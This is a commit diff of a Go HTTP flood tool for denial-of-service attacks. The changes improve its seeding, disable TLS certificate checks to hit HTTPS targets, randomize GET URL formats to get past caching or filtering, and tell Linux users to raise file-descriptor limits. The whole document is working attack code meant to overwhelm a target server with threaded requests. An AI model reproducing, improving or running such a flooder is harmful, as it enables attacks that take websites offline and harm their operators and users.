1
1
/*
2
2
Coded by LeeOn123
3
3
Please fking code ur script by ur self, kid.
4
+
5
+ I changed the random integers range to the max of int32.
6
+ Now 386 systems should work well.
4
7
*/
5
8
package main
6
9
@@ -121,7 +124,11 @@ var (
121
124
page string
122
125
)
123
126
124
- func contain (char string , x string ) int {
127
+ func init () {
128
+ rand .Seed (time .Now ().UnixNano ()) //fixed seed problem
129
+ }
130
+
131
+ func contain (char string , x string ) int { //simple compare
125
132
times := 0
126
133
ans := 0
127
134
for i := 0 ; i < len (char ); i ++ {
@@ -190,36 +197,48 @@ func flood() {
190
197
}
191
198
var s net.Conn
192
199
var err error
193
- rand .Seed (time .Now ().UnixNano ())
194
- <- start
195
- for { /*
196
- request := ""
197
- if os.Args[5] == "get" {
198
- var rand_url = strconv.Itoa(rand.Intn(1000000000))
199
- request += "GET " + os.Args[4] + "?" + rand_url
200
- }
201
- request += header + "\r\n\r\n"*/
200
+ <- start //received signal
201
+ for {
202
202
if os .Args [2 ] == "443" {
203
- s , err = tls .Dial ("tcp" , addr , nil )
203
+ cfg := & tls.Config {
204
+ InsecureSkipVerify : true ,
205
+ }
206
+ s , err = tls .Dial ("tcp" , addr , cfg )
204
207
} else {
205
208
s , err = net .Dial ("tcp" , addr )
206
209
}
207
210
if err != nil {
208
211
fmt .Println ("Connection Down!!!" )
209
212
} else {
210
213
defer s .Close ()
214
+ ai := rand .Intn (3 ) //fake random url format
211
215
for i := 0 ; i <= 100 ; i ++ {
212
216
request := ""
213
217
if os .Args [5 ] == "get" {
214
- request += "GET " + os .Args [4 ] + page + strconv .Itoa (rand .Intn (1000000000000000000 )) + string (string (abcd [rand .Intn (len (abcd ))])) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))]) + strconv .Itoa (rand .Intn (1000000000000000000 )) + string (abcd [rand .Intn (len (abcd ))])
218
+ request += "GET " + os .Args [4 ] + page
219
+ if ai == 0 {
220
+ request += strconv .Itoa (rand .Intn (2147483647 )) + string (string (abcd [rand .Intn (len (abcd ))])) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))]) + strconv .Itoa (rand .Intn (2147483647 )) + string (abcd [rand .Intn (len (abcd ))])
221
+ } else if ai == 1 {
222
+ request += strconv .Itoa (rand .Intn (2147483647 )) + strconv .Itoa (rand .Intn (2147483647 )) + strconv .Itoa (rand .Intn (2147483647 )) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))]) + strconv .Itoa (rand .Intn (2147483647 ))
223
+ } else if ai == 2 {
224
+ request += string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))]) + strconv .Itoa (rand .Intn (2147483647 ))
225
+ for boring := 0 ; boring < 7 ; boring ++ {
226
+ request += string (abcd [rand .Intn (len (abcd ))])
227
+ }
228
+ } else if ai == 3 {
229
+ request += strconv .Itoa (rand .Intn (2147483647 ))
230
+ for boring := 0 ; boring < 10 ; boring ++ {
231
+ request += string (abcd [rand .Intn (len (abcd ))])
232
+ }
233
+ }
215
234
}
216
235
request += header + "\r \n \r \n "
217
236
s .Write ([]byte (request ))
218
- //time.Sleep(time.Millisecond * 200)
237
+ //time.Sleep(time.Millisecond * 200)//Sent delay can reduce i/o usage
219
238
}
220
239
}
221
240
//time.Sleep(time.Second * 1)
222
- //fmt.Println("Threads@", threads, " Hitting Target -->", url)
241
+ //fmt.Println("Threads@", threads, " Hitting Target -->", url)// For those who like share to skid.
223
242
}
224
243
}
225
244
@@ -230,11 +249,12 @@ func main() {
230
249
fmt .Println (" || || || || || || || || || || || || || || " )
231
250
fmt .Println (".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. " )
232
251
fmt .Println (" || " )
233
- fmt .Println (" .|| Golang version 1.6 " )
252
+ fmt .Println (" .|| Golang version 1.7 " )
234
253
fmt .Println (" C0d3d By L330n123" )
235
254
fmt .Println ("==========================================================================" )
236
255
if len (os .Args ) != 8 {
237
256
fmt .Println ("Post Mode will use header.txt as data" )
257
+ fmt .Println ("If you are using linux please run 'ulimit -n 999999' first!!!" )
238
258
fmt .Println ("Usage: " , os .Args [0 ], "<ip> <port> <threads> <page> <get/post> <seconds> <header.txt/nil>" )
239
259
os .Exit (1 )
240
260
}
0 commit comments